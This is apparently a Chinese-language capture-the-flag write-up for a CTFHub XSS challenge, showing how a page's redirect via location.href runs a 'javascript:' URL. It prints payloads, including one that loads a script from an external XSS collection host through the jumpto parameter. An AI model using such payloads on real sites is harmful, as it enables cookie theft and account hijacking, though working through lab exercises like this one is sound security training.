CTFHUB技能树之XSS——DOM跳转

开启靶场，打开链接：

---

右键查看页面源代码：

location.search获取查询字符串部分（例如：

?jumpto=http://challenge-1ccc67ea8612a9b6.sandbox.ctfhub.com:10800/），然后使用.split("=")将其拆分为参数名和参数值的数组

检查target[0].slice(1)是否等于"jumpto"，这是因为target[0]包含"?“字符，使用.slice(1)去掉”?"。如果相等，就使用location.href将页面重定向到target[1]，也就是参数值所指定的URL

location.href = "javascript:alert('xss')" 这样的代码赋值给 location.href 时，浏览器会将其解释为一种特殊的URL方案，即 “javascript:”。在这种情况下，浏览器会将后面的 JavaScript 代码作为URL的一部分进行解析，然后执行它

---

用hackbar进行操作：

javascript:alert(1)

---

?jumpto=javascript:$.getScript('//xs.pe/6b6')

---

但是上传后，页面发生变化，出现：

此时，复制地址栏中的URL，粘贴到URL输入框中提交：

按理说是在xss后台看到记录的，但是却没有记录下来

仔细想了想，不对啊，按理说是已经触发了的，就很奇怪